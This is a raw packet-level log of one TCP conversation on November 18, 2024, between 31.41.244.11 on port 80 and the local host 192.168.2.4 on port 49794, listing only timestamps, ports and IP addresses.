Nov 18, 2024 23:04:16.140491009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140506029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140515089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140558958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140754938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140772104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140788078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140808105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140841007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.140919924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140935898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140952110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140969038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.140969992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141002893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141036034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141067028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141083956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141099930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141117096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141135931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141215086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141231060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141247988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141268969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141297102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141326904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141341925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141371965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141376019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141391993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141405106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141407967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141426086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141427040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141443014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141449928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141484022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141783953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141799927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141814947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141830921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.141838074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.141874075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.142254114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.142270088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.142286062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.142307043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.142335892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143629074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143652916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143670082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143681049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143685102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143702030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143714905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143716097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143733978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143749952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143753052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143765926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.143774033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143790007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.143826008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.144836903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.144853115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.144866943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.144882917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.144890070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.144910097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.144917011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.144951105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.145442009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.145493984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.183721066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183790922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183845997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183880091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183919907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183926105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.183954954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.183980942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.183991909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184011936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184026003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184046984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184067965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184077024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184102058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184114933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184139967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184146881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184176922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184196949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184221029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184231997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184267044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184282064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184302092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184326887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184335947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184343100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184371948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184382915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184406042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184418917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184443951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184451103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184478998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184493065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184514046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184525967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184565067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184602976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184658051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184664011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184693098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.184704065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.184748888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.186564922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.186618090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.186625957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.186649084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.186665058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.186697006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.186702967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.186736107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.186757088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.186775923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187212944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187248945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187273979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187298059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187302113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187355995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187365055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187402010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187427998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187438965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187458992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187474966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187488079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187515974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187530994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187551022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187565088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187587976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187608957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187624931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187639952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187664986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187678099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187699080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187711954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187732935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187746048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187782049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187834978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187868118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187901020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187906027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187931061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187939882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.187947989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.187997103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188018084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188047886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188066006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188081026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188091993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188116074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188131094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188152075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188188076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188196898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188219070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188222885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188242912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188277960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188277960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188313961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188328981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188349962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188361883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188400984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188400984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188440084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188456059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188474894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188507080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188512087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188519001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188561916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188563108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188597918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188626051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188631058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188635111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188661098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188677073 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188697100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188704967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188745975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188764095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188797951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188817024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188832045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188848972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188868046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188878059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188905001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.188920975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188956022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.188978910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189030886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189033031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189068079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189085960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189100981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189122915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189136982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189141035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189176083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189205885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189209938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189218044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189245939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189256907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189291954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189397097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189428091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189451933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189467907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189475060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189502001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189517975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189533949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189546108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189568043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189589977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189603090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189609051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189640999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189656019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189675093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189690113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189711094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189722061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189747095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189759970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189781904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189794064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189841032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189847946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189874887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189898968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189913034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.189914942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189961910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.189965963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190001011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190015078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190033913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190047026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190068960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190083027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190102100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190118074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190136909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190146923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190171957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190181017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190207005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190217972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190241098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190263033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190277100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190294027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190313101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190321922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190357924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190601110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190634012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190663099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190668106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190675020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190702915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190717936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190737009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190749884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190771103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190785885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190860033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190879107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190890074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190906048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190922976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190934896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190958023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.190968037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.190993071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191006899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191028118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191037893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191061020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191073895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191095114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191116095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191129923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191148996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191164017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191179991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191196918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191214085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191235065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191241980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191263914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191281080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191298962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191318035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191340923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191344976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191389084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191397905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191433907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191450119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191468000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191483974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191504002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191534042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191538095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191570997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191574097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191580057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191607952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191622019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191643000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191658020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.191678047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.191698074 CET	49794	80	192.168.2.4	31.41.244.11
